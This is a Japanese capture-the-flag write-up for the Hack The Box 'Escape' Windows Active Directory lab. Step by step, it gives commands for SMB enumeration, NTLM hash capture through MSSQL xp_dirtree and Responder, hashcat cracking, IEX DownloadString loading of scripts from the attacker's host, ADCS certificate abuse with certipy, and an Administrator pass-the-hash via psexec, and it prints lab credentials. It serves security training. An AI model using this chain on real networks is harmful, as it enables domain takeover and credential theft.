Hack the Box(HTB) EscapeのWriteupになります。
TL;DR
以下の知識が必要となります。
- Windows Active Directory脆弱性検証の知識
- impacketツールの知識
- ADCS脆弱性の知識
- (オプション)シルバーチケット脆弱性の知識
Initial Recon
nmapの結果は以下になります。
nmap -sC -sV -oA nmap/init $RHOST -Pn
nmapの結果をグレップして見やすくしました。
88ポートや389ポートがあるのでADのボックスだと分かります。
詳細のnmapの結果を見ると、以下のようなドメインの情報が分かります。
ssl-cert: Subject: commonName=dc.sequel.htb
Domain: sequel.htb0
DNS:dc.sequel.htb
SSL/ldap (636/3269)
詳細分析の前にSSLの証明書が存在しないか見に行きます。
https://sequel.htb:3269/
sequel-DC-CAが見つかりました。おそらくこのADはADCAもインストールされていると想像します。
SMB (445)
crackmapexecを利用します。ユーザ名やパスワードはわからない前提で、色々試します。
# @Kali
export RHOST=<Your Target IP address>
crackmapexec smb $RHOST
crackmapexec smb $RHOST --shares
crackmapexec smb $RHOST -u '' -p ''
crackmapexec smb $RHOST -u '' -p '' --shares
crackmapexec smb $RHOST -u 'anyuser' -p '' --shares
実行結果は以下になります。一番最後のコマンドで、'Public'が読み込めることがわかります。
smbmapでも試してみます。
# @Kali
smbmap -u null -p "" -H $RHOST -P 445 2>&1
実行結果は以下になります。同じくPublicのファイル共有が見えています。
ディレクトリアクセスは、smbclientを利用します。
# @Kali
smbclient //$RHOST/Public/ -N -L
> ls
実行結果は以下になります。PDFファイルが見えます。ダウンロードします。
mgetのコマンドを使います。
# @kali
> mget *
Firefoxで開いてみます。
# @Kali
firefox 'SQL Server Procedures.pdf'
実行結果は以下になります。ユーザ名とパスワード(らしき)ものが見つかりました。
PublicUser: GuestUserCantWrite1
PDFを読んでいると、MSSQLにアクセスするときのクレデンシャルなのではと推測できます。
mssqlclient (1433)
MSSQLにアクセスしてみます。mssqlclientを利用します。
# @Kali
mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@$RHOST
以下が実行結果になります。ただし次のアクションにヒントになるデータは見つかりませんでした。
次の一手
ここが最初の関門でしょうね。どうするか?次のポートに移るのか、それともMSSQLでどうにかするのか?ここでアイデアがないようでは次には進めません。Pentestingは時間の制約を受けますので、煮詰まった時に、次のアイデアが多い方が有利になります。
- LDAPクエリーでユーザ等を探す。
- RCP通信でユーザを探す
- ケルベロス通信で、ユーザを探して見る。ただし、ブルートフォース攻撃は最後の一手とする。
- その他...
hacktricks
このサイトで、MSSQLの次の一手を確認します。
https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server
関連の情報は以下のように、Responderを立ち上げて、xp_dirtreeを実行します。
Responder
AD脆弱性検証の基本は、(機能の脆弱性を探すのと同じぐらい)ユーザ名とパスワードを集めることが肝心なので、Responderを動かしてみて、Net-NTLMv2ハッシュが取得できるか試してみます。
# @Kali
sudo responder -I tun0
実行結果は以下になります。
MSSQLに接続して、Kaliへファイル共有を試します。
# @kali
mssqlclient.py sequel.htb/PublicUser:GuestUserCantWrite1@$RHOST
>Exec xp_dirtree '\\10.10.14.26\anyshare', 1, 1
そうすると、ResponderがNet-NTLMv2のハッシュ値を取得できました。
Crack Hash
ハッシュデータをファイルに保存しています。コマンドは割愛しています。
hashcatでクラックしてみました。
# @kali
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
実行結果は以下になります。パスワードがクラック出来ました。
新しいユーザとパスワードは以下になります。
sql_scv:REGGIE1234ronnie
Access to AD again
新しいIDとパスワード(sql_scv:REGGIE1234ronnie)で再度、アクセスしてみます。
crackmapexec smb $RHOST -u 'SQL_SVC' -p 'REGGIE1234ronnie'
crackmapexec smb $RHOST -u 'SQL_SVC' -p 'REGGIE1234ronnie' --shares
crackmapexec mssql $RHOST -u 'SQL_SVC' -p 'REGGIE1234ronnie'
crackmapexec winrm $RHOST -u 'SQL_SVC' -p 'REGGIE1234ronnie'
最後のコマンドで、winrmを利用し、ログオンできることがわかりました。smbでのファイル共有はあまり変わっていませんが、IPC$等が読めるようになっています。Write権限ではないので、psexecは利用できません。
Evil-winrm
evil-winrmコマンドでログオンしてみます。
# @kali
evil-winrm -i '10.129.228.253' -u 'sql_svc@sequel.htb'
実行結果は以下になります。
ログオンできました。User.txtがないか物色しましたが、このユーザにはありませんでした。したがって、他のユーザにアクセスする必要があります。
Ryan.Cooperが気になります。
次の一手
2番目の関門がここでしょうね。ここからどうするか? winpeas,adpeas,bloodhoundを実行して、何か脆弱性がないかを探ります。何もなければSQL_SVCでアクセスできるディレクトリとファイルを調べてみます。MSSQLサーバも試します。
winpeas
# @ad
.\winPEASany.exe
adpeas
# @ad
IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.X/privesc/adPEAS.ps1')
Invoke-adPEAS
以下が実行結果です。
証明書テンプレートは以下になります。
しかし、脆弱性に関するものは、何も見つけられませんでした。
PrivescCheck
# @ad
iex (new-Object Net.WebClient).DownloadString('http://10.10.14.26/privesc/PrivescCheck.ps1');Invoke-PrivescCheck -Extended
Local Enumeration
C:に移動してみます。
SQLServerが見えます。
このファイルを見てみます。
おそらくRyan.Cooperのパスワードでしょう。
sequel.htb\Ryan.Cooper: NuclearMosquito3
Evil-winrm 2
evil-winrmコマンドでログオンしてみます。
# @kali
evil-winrm -i '10.129.228.253' -u 'Ryan.Cooper@sequel.htb'
adpeas again
# @ad
IEX (New-Object Net.WebClient).DownloadString('https://10.10.14.X/privesc/adPEAS.ps1')
Invoke-adPEAS
以下が実行結果です。
証明書のテンプレートに脆弱性がありそうです。
certipyで脆弱性検査
証明書のテンプレートの脆弱性をcertipyを利用して調べてみます。
# @kali
certipy find -u Ryan.Cooper -p NuclearMosquito3 -target sequel.htb -text -stdout -vulnerable
実行結果が以下になります。
次の画面を見てみると、UserAutehnticationのテンプレートを利用して、
ドメインユーザが他のユーザを利用した証明書を発行できるようです。
Administrator管理者の証明書を発行
AdministratorのUPNを持つ証明書を発行してみます。
certipy req -u Ryan.Cooper -p NuclearMosquito3 -target sequel.htb -upn Administrator@sequel.htb -ca sequel-DC-CA -template UserAuthentication
実行結果は以下になります。
administrator.pfxが見えます。証明書を発行できたようです。(エラーが出ればもう一度実行する必要があるかもしれません。)
TGT発行
さて次何をするかですが、証明書からTGTを取得出来ます。
certipy auth -pfx administrator.pfx
以下が実行結果です。
発行できたようです。sudo ntupdate を実行する必要があります。
よく見ると、ハッシュ値が取得出来ています。
Psexecでログイン
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee Administrator@10.129.228.253 cmd.exe
終わりに
ADCSの証明書テンプレートの脆弱性は任意のユーザのドメイン認証を可能にする危険性があるので、Tier0と同じ扱いで、オペレーションするようにしましょう。
対策等は以下の資料が詳しいです。
https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf